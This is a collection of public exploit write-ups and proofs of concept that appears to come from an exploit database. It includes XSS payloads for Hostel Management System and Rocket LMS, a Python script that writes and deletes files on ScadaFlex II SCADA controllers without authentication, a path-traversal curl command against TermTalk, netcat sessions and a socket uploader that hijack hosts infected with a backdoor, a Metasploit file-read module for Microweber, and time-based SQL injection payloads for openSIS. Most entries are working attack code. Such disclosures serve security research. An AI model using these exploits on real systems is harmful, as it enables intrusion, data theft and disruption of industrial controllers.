<pre><code># Exploit Title: Hostel Management System 2.1 - Cross Site Scripting (XSS)<br /># Date: 26/12/2021<br /># Exploit Author: Chinmay Vishwas Divekar<br /># Vendor Homepage: https://phpgurukul.com/hostel-management-system/<br /># Software Link: https://phpgurukul.com/hostel-management-system/<br /># Version: V 2.1<br /># Tested on: PopOS_20.10<br /><br />*Steps to reproduce*<br /><br />1) Open book-hostel page using following url https://localhost/hostel/book-hostel.php<br />2) Enter xss payload <img src=x onerror=alert(String.fromCharCode(88,83,83));> on various input fields.<br />3) Server Accepted our Payload in input fileds.<br /><br />Affected input fields: Correspondence Address, Guardian Relation, Permanent Address<br /><br /></code></pre>
<pre><code>#!/usr/bin/env python3<br /># -*- coding: utf-8 -*-<br />#<br />#<br /># ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD<br />#<br />#<br /># Vendor: Industrial Control Links, Inc.<br /># Product web page: http://www.iclinks.com<br /># Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf<br /># Affected version: SW: 1.03.07 (build 317), WebLib: 1.24<br /># SW: 1.02.20 (build 286), WebLib: 1.24<br /># SW: 1.02.15 (build 286), WebLib: 1.22<br /># SW: 1.02.01 (build 229), WebLib: 1.16<br /># SW: 1.01.14 (build 172), WebLib: 1.14<br /># SW: 1.01.01 (build 2149), WebLib: 1.13<br />#<br />#<br /># Summary: Scadaflex II controllers are 100% web based<br /># for both configuration and user interface. No applications<br /># are required other than any standard web browser. They<br /># are easily supported by remote access over the Internet<br /># or a cellular link. Scadaflex II controllers support<br /># industry standard wired communications using Modbus,<br /># DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial<br /># bridging for Modbus or any other protocol. Each Scadaflex<br /># II controller has both analog and digital, inputs and<br /># outputs, sufficient for pumping stations, irrigation<br /># controls, and other similar process monitoring and control<br /># applications. They can also serve as communications<br /># concentrators and protocol converters that enhance the<br /># operation of existing PLCs and process equipment.<br />#<br /># Desc: The SCADA controller is vulnerable to unauthenticated<br /># file write/overwrite and delete vulnerability. This allows<br /># an attacker to execute critical file CRUD operations on the<br /># device that can potentially allow system access and impact<br /># availability.<br />#<br /># Tested on: SCADA HTTP Server<br />#<br />#<br /># Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /># @zeroscience<br />#<br />#<br /># Advisory ID: ZSL-2022-5698<br /># Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php<br />#<br /># CVE ID: CVE-2022-25359<br /># CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359<br />#<br />#<br /># 06.11.2021<br />#<br /><br />import time,sys<br />import requests<br />import datetime<br />import showtime<br /><br /># Default<br /># AES Encryption Key = 'ABCD1234abcd:ICL'<br /><br />def bann():<br /> print('''<br />----------------------------------------------------------<br /> ) ) ) ) ) )<br /> ( ( ( ( ( (<br /> ) ) ) ) ) )<br /> (~~~~~~~~~) (~~~~~~~~~)<br /> | t00t | | w00t |<br /> | | | |<br /> I _._ I _._<br /> I /' `\\ I /' `\\<br /> I | M | I | J |<br /> f | |~~~~~~~~~~~~~~| f | |~~~~~~~~~~~~~~|<br /> .' | ||~~~~~~~~| | .' | | |~~~~~~~~| |<br />/'______|___||__###___|____|/'_______|____|_|__###___|___|<br /><br /> ScadaFlex II SCADA Controllers<br /> Remote write/delete PoC<br /> ZSL-2022-5698<br />----------------------------------------------------------<br /> ''')<br /><br />def safe(*trigger, ):<br /> return True # |-| Safety Switch<br /><br />def choice(n):<br /> try:<br /> if n == 1:<br /> overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10))<br /> elif n == 2:<br /> delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10))<br /> else:<br /> print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]')<br /> print('Usage (Delete): ./sflex.py [IP] [File position number]')<br /> raise SystemExit('t00t')<br /> except Exception as tip:<br /> raise SystemExit(tip)<br /><br />def jump():<br /> choice(1) if len(sys.argv) == 4 else next<br /> choice(2) if len(sys.argv) == 3 else next<br /><br />def overwrite(controllerip, filepos):<br /> print('Starting script at', start)<br /> localfile = sys.argv[2]<br /><br /> with open(localfile, 'rb') as opener:<br /> scadaurl = 'http://'<br /> scadaurl += controllerip<br /> scadaurl += '/d.php?N'<br /> scadaurl += str(filepos)<br /> scadaurl += ',73,'<br /> scadaurl += opener.name<br /> scadaurl += '~'<br /> scadaurl += str(int(time.time()))<br /><br /> see = requests.post(scadaurl, files = {'upload' : opener})<br /><br /> if '100' in see.text:<br /> print('File uploaded in {} directory at position {}.'.format('l', filepos))<br /> print('URL: http://' +controllerip+ '/l/' +localfile)<br /> else:<br /> print("- controller webserver error.")<br /> exit()<br /><br />def delete(controllerip, filepos):<br /> print('Starting script at', start)<br /> exit(42) if isinstance(filepos, str) else next<br /><br /> scadaurl = 'http://'<br /> scadaurl += controllerip<br /> scadaurl += '/rW12IcL_Dat_N'<br /> scadaurl += str(filepos)<br /> scadaurl += ',0=1~'<br /> scadaurl += str(int(time.time()))<br /><br /> see = requests.get(scadaurl)<br /><br /> check = '\x72\x57' #|<br /> check += '\x31\x32' #|<br /> check += '\x49\x63' #|<br /> check += '\x4c\x5f' #|<br /> check += '\x44\x61' #|<br /> check += '\x74\x5f' #|<br /> check += '\x4e'# o' #|<br /> check += str(filepos)#|<br /> check += '\x2c\x30' #|<br /> check += '\x09\x52' #|<br /> <br /> if check in see.text:<br /> print('File at position {} deleted.'.format(filepos))<br /> else:<br /> print('- controller webserver error.')<br /> exit()<br /><br />def main():<br /> if safe(True):<br /> print('Careful...\nSafety: ON')<br /> exit(17)<br /> else:<br /> print('Safety: OFF', end = '')<br /> global start<br /> start = datetime.datetime.now()<br /> start = start.strftime('%d.%m.%Y %H:%M:%S')<br /> bann(), jump(), choice(1959)<br /><br />if __name__ == "__main__":<br /> main()<br /></code></pre>
<pre><code># Exploit Title: TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated)<br /># Date: 03/01/2022<br /># Exploit Author: Fabiano Golluscio @ Swascan<br /># Vendor Homepage: https://www.solari.it/it/<br /># Software Link: https://www.solari.it/it/solutions/other-solutions/access-control/<br /># Version: 3.24.0.2<br /># Fixed Version: 3.26.1.7<br /># Reference: https://www.swascan.com/solari-di-udine/<br /><br />POC<br /><br />curl http://url:port/file?valore=../../../../WINDOWS/System32/drivers/etc/hosts<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_B.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.FTP.Ics<br />Vulnerability: Unauthenticated Remote Command Execution<br />Description: The malware listens on TCP port 5555. Third-party attackers who can reach the system can run commands made available by the backdoor hijacking the infected host.<br />Type: PE32<br />MD5: 584bc06128469423f9e50e8a359d18ac<br />Vuln ID: MVID-2022-0499<br />Disclosure: 02/22/2022<br /><br />Exploit/PoC:<br />nc64.exe x.x.x.x 5555<br /><br />C:\dump><br />Commande Inconnueexec calc<br />C:\dump><br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Document Title:<br />===============<br />Rocket LMS v1.1 - (History) Persistent XSS Vulnerability<br /><br /><br />References (Source):<br />====================<br />https://www.vulnerability-lab.com/get_content.php?id=2305<br /><br /><br />Release Date:<br />=============<br />2021-12-29<br /><br /><br />Vulnerability Laboratory ID (VL-ID):<br />====================================<br />2305<br /><br /><br />Common Vulnerability Scoring System:<br />====================================<br />5.4<br /><br /><br />Vulnerability Class:<br />====================<br />Cross Site Scripting - Persistent<br /><br /><br />Current Estimated Price:<br />========================<br />500€ - 1.000€<br /><br /><br />Product & Service Introduction:<br />===============================<br />Rocket LMS is an online course marketplace with a pile of features that helps you to run your online education business easily.<br />This product helps instructors and students to get in touch together and share knowledge. Instructors will be able to create<br />unlimited video courses, live classes, text courses, projects, quizzes, files, etc and students will be able to use the<br />educational material and increase their skill level. Rocket LMS is based on real business needs, cultural differences,<br />advanced user researches so the product covers your business requirements efficiently.<br /><br />(Copy of the Homepage:https://lms.rocket-soft.org/ )<br /><br /><br />Abstract Advisory Information:<br />==============================<br />The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the Rocket LMS v1.1 cms.<br /><br /><br />Affected Product(s):<br />====================<br />Rocketsoft<br />Product: Rocket LMS v1.1 - eLearning Platform CMS (Web-Application)<br /><br /><br />Vulnerability Disclosure Timeline:<br />==================================<br />2021-09-03: Researcher Notification & Coordination (Security Researcher)<br />2021-09-04: Vendor Notification (Security Department)<br />2021-**-**: Vendor Response/Feedback (Security Department)<br />2021-**-**: Vendor Fix/Patch (Service Developer Team)<br />2021-**-**: Security Acknowledgements (Security Department)<br />2021-12-29: Public Disclosure (Vulnerability Laboratory)<br /><br /><br />Discovery Status:<br />=================<br />Published<br /><br /><br />Exploitation Technique:<br />=======================<br />Remote<br /><br /><br />Severity Level:<br />===============<br />Medium<br /><br /><br />Authentication Type:<br />====================<br />Restricted Authentication (User Privileges)<br /><br /><br />User Interaction:<br />=================<br />Low User Interaction<br /><br /><br />Disclosure Type:<br />================<br />Responsible Disclosure<br /><br /><br />Technical Details & Description:<br />================================<br />A persistent input validation web vulnerability has been discovered in the official Rocket LMS v1.1 cms web-application.<br />The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise<br />browser to web-application requests from the application-side.<br /><br />The vulnerability is located in the support ticket message body. The message body does not sanitize the input of message.<br />Remote attackers with low privileged application user accounts are able to inject own malicious script code with persistent<br />attack vector. The request method to inject is post. After the inject the message a displayed again for the user and the<br />backend for the support (admin). The issue can be exploited by organization, student and instructor account roles.<br /><br />Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external<br />redirects to malicious source and persistent manipulation of affected application modules.<br /><br />Request Method(s):<br />[+] POST<br /><br />Vulnerable Module(s):<br />[+] conversations Support - New Ticket<br /><br />Vulnerable Input(s):<br />[+] Subject<br /><br />Vulnerable Parameter(s):<br />[+] title<br /><br />Affected Module(s):<br />[+] Messages History<br /><br /><br />Proof of Concept (PoC):<br />=======================<br />The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.<br />For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.<br /><br /><br />PoC: Payload<br /><img src="evil.source" onload="alert(document.domain)"></img><br /><br /><br />--- PoC Session Logs (POST) ---<br />https://lms.rocket-soft.org/panel/support/store<br />Host: lms.rocket-soft.org<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 271<br />Origin:https://lms.rocket-soft.org<br />Connection: keep-alive<br />Referer:https://lms.rocket-soft.org/panel/support/new<br />Cookie: webinar_session=eyJpdiI6ImNUeG9hcmFEbXFUSGxZd0NOZ3J6R0E9PSIsInZhbHVlIjoiWXFSOGRXYWFHcUUvc0VuNUpzanhBZjdBc21lRy8xaEhTU0hQTnk2YWlJM1ZHYkxXdzc3<br />T3U2Nm9yMEI3b2o2QmtCT2NjdEkyRVNwdlhWUjgwY0ZHWkNyVHJSdnBCck8vVWo4MFVsK2JvLzRDUm1BRm5zU2Y0SWZWdGR1b29keWwiLCJtYWMiOiIxODI3NDQ2OTcxZDMwNjA0M2U0<br />OGM3YzZmNmMzM2Y1OTk5ZTNiZTIzY2E2ZGQxMTlkYzY2YzY0Y2M5OTI5MTc5In0%3D; TawkConnectionTime=0; __tawkuuid=e::lms.rocket-soft.org::W9t6jOO76CukDtw<br />wAughTc4sTzqsd2xAqZJpiyabjsp3sI9le/SuCBxWz7ekNzR0::2; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6Ik9iUEZFNlZBYjJSOEVjSE1hRlNiZFE9PSIsInZhbHVlIjoiR3F1RWFsb01KREQ2K05FaG5MT1hST1<br />pYNmx3Z3ZoU2lDOXBQL3h3aVg0T2k2a1YwVDZYR25nUnNCOXhsWjZnWjcrQTJxUzhEa3k2N1VEdjZkZGJFMXg3Q0pIWGx6VUZwajJGc09DdUlzaFpwb0t2SHJoaHkvQmh3bTJPM0RlWVh<br />SRGszUlRqUVJNdlErMXpXYU5hZWlySWVrMktwZmp4RzNMSXV2TnAzTlFpQUhRalNKSmw2elhzVURqWVpqQlpkajAvUzBPcTV0Z0tXaFRFNkpmLy94TkFxa3dxdjlnOWk4VWpSRzMzeUVa<br />UT0iLCJtYWMiOiJkMmQ3ZTk4NzllOTQ3ZTU4ZGRjMTljMjlkMzRkODhjMmI0Mzk5MjM1ZmJlYTc1NTAxYzI2OGI3YmMwMDczMmQxIn0%3D<br />_token=3CmMP45TwUNoeNVPzZ4JuGunKoFqcUxbDWliz9rg&title=test1"><img src="evil.source" onload=alert(document.domain)></img>&type=course_support&webinar_id=1996&message=test2&attach=<br />-<br />POST: HTTP/1.1 302 Found<br />Server: Apache/2<br />X-Powered-By: PHP/7.4.20<br />Location:https://lms.rocket-soft.org/panel/support<br />Set-Cookie:<br />webinar_session=eyJpdiI6Im5OVER1cno1OXJmQnRRb3QycHExN1E9PSIsInZhbHVlIjoiOGxXdHV5em95bGh0ejh3MXlRT3dwSXFGcUZzSmMzbHlJd2xFRDhweEFBS25JeFFrMzF2Wn<br />lLdHc0MUpFQmN1cDY3SUE1V0hwVGRDUGZvRkRYZVYvY01BZ2NxT1NJWThXQnRiNnR3SDJ4TEZ5Q3BQUnZhR1lxUHZnR2hhLzEzSysiLCJtYWMiOiI1YjBlMmVjMjYwYjEzODVhZTJmZWZj<br />YTlmMGJjMThkYzQ0ZjVmNjI0NTA1MGMxM2Q3ZGVlYjlhOGJkZTY3NmM0In0%3D; Max-Age=7200; path=/; httponly; samesite=lax<br />Vary: Accept-Encoding,User-Agent<br />Content-Encoding: gzip<br />Access-Control-Allow-Origin: *<br />Access-Control-Allow-Headers: origin, x-requested-with, content-type<br />Access-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS<br />Content-Length: 210<br />Connection: Keep-Alive<br />Content-Type: text/html; charset=UTF-8<br /><br /><br />Vulnerable Source: conversations Support - New Ticket - Messages History<br /><div class="rounded-sm mt-15 border panel-shadow p-15"><br /><div class="d-flex align-items-center justify-content-between pb-20 border-bottom border-gray300"><br /><div class="user-inline-avatar d-flex align-items-center"><br /><div class="avatar"><br /><img src="/store/995/60dce9eb4290c.png" class="img-cover" alt=""><br /></div><br /><div class="ml-10"><br /><span class="d-block text-dark-blue font-14 font-weight-500">Cameron Schofield</span><br /><span class="mt-1 font-12 text-gray d-block">user</span><br /></div></div><br /><div class="d-flex flex-column align-items-end"><br /><span class="font-12 text-gray">2021 Sep 9 | 12:58</span><br /></div></div><br /><p class="text-gray mt-15 font-weight-500 font-14">"<img src="evil.source" onload="alert(document.domain)"></img></p><br /></div><br /><br /><br />Reference(s):<br />https://lms.rocket-soft.org/<br />https://lms.rocket-soft.org/panel/<br />https://lms.rocket-soft.org/panel/support<br />https://lms.rocket-soft.org/panel/support/new<br />https://lms.rocket-soft.org/panel/support/[id]/conversations<br /><br /><br />Credits & Authors:<br />==================<br />Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab<br /><br /><br />Disclaimer & Information:<br />=========================<br />The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,<br />either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab<br />or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits<br />or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do<br />not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.<br />We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.<br /><br />Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com<br />Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com<br />Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab<br />Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php<br />Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php<br /><br />Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.<br />Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other<br />media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other<br />information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or<br />edit our material contact (admin@ or research@) to get a ask permission.<br /><br /> Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™<br /><br /><br /><br />-- <br />VULNERABILITY LABORATORY (VULNERABILITY LAB)<br />RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE<br /><br /></code></pre>
<pre><code># Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)<br /># Date: 22.02.2022<br /># Exploit Author: Talha Karakumru <talhakarakumru[at]gmail.com><br /># Vendor Homepage: https://microweber.org/<br /># Software Link: https://github.com/microweber/microweber/archive/refs/tags/v1.2.10.zip<br /># Version: Microweber CMS v1.2.10<br /># Tested on: Microweber CMS v1.2.10<br /><br />##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)',<br /> 'Description' => %q{<br /> Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.<br /> Upload function may delete the local file if the web service user has access.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Talha Karakumru <talhakarakumru[at]gmail.com>'<br /> ],<br /> 'References' => [<br /> ['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/']<br /> ],<br /> 'Notes' => {<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'Stability' => [ OS_RESOURCE_LOSS ]<br /> },<br /> 'Targets' => [<br /> [ 'Microweber v1.2.10', {} ]<br /> ],<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2022-01-30'<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']),<br /> OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']),<br /> OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']),<br /> OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']),<br /> OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'login')<br /> })<br /><br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')<br /> end<br /><br /> print_status 'Checking if it\'s Microweber CMS.'<br /><br /> if res.code == 200 && !res.body.include?('Microweber')<br /> print_error 'Microweber CMS has not been detected.'<br /> Exploit::CheckCode::Safe<br /> end<br /><br /> if res.code != 200<br /> fail_with(Failure::Unknown, res.body)<br /> end<br /><br /> print_good 'Microweber CMS has been detected.'<br /><br /> return check_version(res.body)<br /> end<br /><br /> def check_version(res_body)<br /> print_status 'Checking Microweber\'s version.'<br /><br /> begin<br /> major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.')<br /> version = Rex::Version.new("#{major}.#{minor}.#{build}")<br /> rescue NoMethodError, TypeError<br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> if version == Rex::Version.new('1.2.10')<br /> print_good 'Microweber version ' + version.to_s<br /> return Exploit::CheckCode::Appears<br /> end<br /><br /> print_error 'Microweber version ' + version.to_s<br /><br /> if version < Rex::Version.new('1.2.10')<br /> print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'<br /> return Exploit::CheckCode::Unknown<br /> end<br /><br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> def try_login<br /> print_status 'Trying to log in.'<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'user_login'),<br /> 'vars_post' => {<br /> 'username' => datastore['USERNAME'],<br /> 'password' => datastore['PASSWORD'],<br /> 'lang' => '',<br /> 'where_to' => 'admin_content'<br /> }<br /> })<br /><br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Log in request failed.')<br /> end<br /><br /> if res.code != 200<br /> fail_with(Failure::Unknown, res.body)<br /> end<br /><br /> json_res = res.get_json_document<br /><br /> if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'<br /> fail_with(Failure::BadConfig, 'Wrong username or password.')<br /> end<br /><br /> if !json_res['success'].nil? && json_res['success'] == 'You are logged in'<br /> print_good 'You are logged in.'<br /> return<br /> end<br /><br /> fail_with(Failure::Unknown, 'An unknown error occurred.')<br /> end<br /><br /> def try_upload<br /> print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'<br /><br /> referer = ''<br /> if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?<br /> referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"<br /> else<br /> referer = full_uri<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),<br /> 'vars_get' => {<br /> 'src' => datastore['LOCAL_FILE_PATH']<br /> },<br /> 'headers' => {<br /> 'Referer' => referer<br /> }<br /> })<br /><br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Upload request failed.')<br /> end<br /><br /> if res.code != 200<br /> fail_with(Failure::Unknown, res.body)<br /> end<br /><br /> if res.headers['Content-Type'] == 'application/json'<br /> json_res = res.get_json_document<br /><br /> if json_res['success']<br /> print_good json_res['success']<br /> return<br /> end<br /><br /> fail_with(Failure::Unknown, res.body)<br /> end<br /><br /> fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')<br /> end<br /><br /> def try_download<br /> filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]<br /> print_status 'Downloading ' + filename + ' from the backup folder.'<br /><br /> referer = ''<br /> if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?<br /> referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"<br /> else<br /> referer = full_uri<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'),<br /> 'vars_get' => {<br /> 'filename' => filename<br /> },<br /> 'headers' => {<br /> 'Referer' => referer<br /> }<br /> })<br /><br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Download request failed.')<br /> end<br /><br /> if res.code != 200<br /> fail_with(Failure::Unknown, res.body)<br /> end<br /><br /> if res.headers['Content-Type'] == 'application/json'<br /> json_res = res.get_json_document<br /><br /> if json_res['error']<br /> fail_with(Failure::Unknown, json_res['error'])<br /> return<br /> end<br /> end<br /><br /> print_status res.body<br /> end<br /><br /> def run<br /> if datastore['DEFANGED_MODE']<br /> warning = <<~EOF<br /> Triggering this vulnerability may delete the local file if the web service user has the permission.<br /> If you want to continue, disable the DEFANGED_MODE.<br /> => set DEFANGED_MODE false<br /> EOF<br /><br /> fail_with(Failure::BadConfig, warning)<br /> end<br /><br /> try_login<br /> try_upload<br /> try_download<br /> end<br />end<br /> <br /></code></pre>
<pre><code># Exploit Title: openSIS Student Information System 8.0 - 'multiple' SQL Injection<br /># Date: 26/12/2021<br /># Exploit Author: securityforeveryone.com<br /># Author Mail: hello[AT]securityforeveryone.com<br /># Vendor Homepage: https://opensis.com<br /># Software Link: https://opensis.com<br /># Version: 8.0 Community Edition<br /># Tested on: Linux/Windows<br /># Researchers : Security For Everyone Team - https://securityforeveryone.com<br /><br />'''<br /><br />DESCRIPTION<br /><br />A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v8.0 via the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to /TransferredOutModal.php.<br /><br />The vulnerability is found in the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to page /TransferredOutModal.php.<br /><br />Example:<br /><br />POST /TransferredOutModal.php?modfunc=detail<br /><br />Post Data: student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5<br /><br />if an attacker exploits this vulnerability, attacker may access private data in the database system.<br /><br />EXPLOITATION<br /><br />POST /TransferredOutModal.php?modfunc=detail HTTP/1.1<br />Host: localhost<br />User-Agent: user-agent<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Connection: close<br />Cookie: cookie<br />Upgrade-Insecure-Requests: 1<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 69<br /><br />student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5<br /><br />Example sqlmap Command: sqlmap.py -r request.txt --level 5 --risk 3 -p student_id --random-agent --dbs<br /><br />Example Payloads:<br /><br />Payload1: student_id=(SELECT (CASE WHEN (2108=2108) THEN 1 ELSE (SELECT 5728 UNION SELECT 5943) END))&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5<br />Payload2: student_id=1 AND (SELECT 5604 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(5604=5604,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5<br />Payload3: student_id=1 AND (SELECT 6111 FROM (SELECT(SLEEP(5)))JtuC)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5<br /><br /><br />ABOUT SECURITY FOR EVERYONE TEAM<br /><br />We are a team that has been working on cyber security in the industry for a long time.<br /><br />In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.<br /><br />We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools<br /><br />'''<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.FTP.Ics<br />Vulnerability: Authentication Bypass<br />Description: The malware runs an FTP server on TCP port 5554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.<br />Type: PE32<br />MD5: 584bc06128469423f9e50e8a359d18ac<br />Vuln ID: MVID-2022-0498<br />Disclosure: 02/22/2022<br /><br /><br />Exploit/PoC:<br />nc64.exe 192.168.18.125 5554<br />220 ICS FTP Server ready.<br />USER malvuln<br />331 Password required for malvuln.<br />PASS malvuln<br />230 User malvuln logged in.<br />SYST<br />215 UNIX Type: L8 Internet Component Suite<br />PASV<br />227 Entering Passive Mode (192,168,18,125,194,58).<br />STOR DOOM.exe<br />150 Opening data connection for DOOM.exe.<br />426 Connection closed; Impossible de crΘer le fichier C:\TEMP\DOOM.exe.<br />CDUP<br />250 CWD command successful. "C:/" is current directory.<br />PASV<br />227 Entering Passive Mode (192,168,18,125,194,59).<br />STOR DOOM.exe<br />150 Opening data connection for DOOM.exe.<br />226 File received ok<br /><br /><br />from socket import *<br /><br />MALWARE_HOST="192.168.18.125"<br />PORT=49723<br />DOOM="DOOM.exe"<br /><br />def doit():<br /> s=socket(AF_INET, SOCK_STREAM)<br /> s.connect((MALWARE_HOST, PORT))<br /><br /> f = open(DOOM, "rb")<br /> EXE = f.read()<br /> s.send(EXE)<br /><br /> while EXE:<br /> s.send(EXE)<br /> EXE=f.read()<br /> <br /> s.close()<br /><br /> print("By Malvuln");<br /><br />if __name__=="__main__":<br /> doit()<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits 